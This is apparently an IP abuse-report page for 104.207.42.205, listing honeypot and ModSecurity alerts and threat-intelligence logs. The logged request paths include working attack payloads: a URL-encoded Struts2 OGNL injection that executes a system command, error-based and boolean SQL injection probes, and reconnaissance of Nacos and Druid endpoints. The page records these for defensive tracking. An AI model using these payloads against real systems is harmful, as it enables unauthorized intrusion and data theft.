This IP address has been reported a total of
158
times from
22 distinct
sources.
104.207.42.205 was first reported on
, and the most recent report was
.
Recent Reports:
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Honeypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. A ...
show moreHoneypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. Aaran.cloud
show less
(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the ...
show more(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the last 3600 secs (0-193)
show less
(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the ...
show more(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the last 3600 secs (0-196)
show less
(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the ...
show more(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the last 3600 secs (0-193)
show less
(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the ...
show more(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the last 3600 secs (0-195)
show less
ThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.42.205
...
show moreThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.42.205
2026-04-22 18:11:07 /nacos/v1/cs/configs?search=accurate&dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=999&tenant=
show less
(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the ...
show more(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the last 3600 secs (0-193)
show less
ThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.42.205
...
show moreThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.42.205
2026-04-16 01:44:36 /
2026-04-16 01:44:39 /?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22netstat%20-an%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
show less
(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the ...
show more(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.42.205 (US/United States/-): 1 in the last 3600 secs (0-196)
show less
ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.42.2 ...
show moreThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.42.205
2026-04-11 08:44:49 /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(SELECT(CASE%20WHEN%201%20THEN%20EXP(5000)%20ELSE%200%20END))%20as%20aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2026-04-11 08:44:48 /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(SELECT(CASE%20WHEN%200%20THEN%20EXP(5000)%20ELSE%200%20END))%20as%20aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2026-04-11 21:31:10 /
show less
ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.42.205
2 ...
show moreThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.42.205
2026-01-07 01:43:10 /fang/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
show less
ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.42.205
2 ...
show moreThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.42.205
2025-12-24 07:02:10 /druid/index.html
2025-12-24 10:48:25 /fang/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
2025-12-24 15:43:13 /news/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
show less
ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.42.205
2 ...
show moreThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.42.205
2025-12-16 08:19:03 /photo/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
2025-12-16 04:00:14 /druid/index.html
show less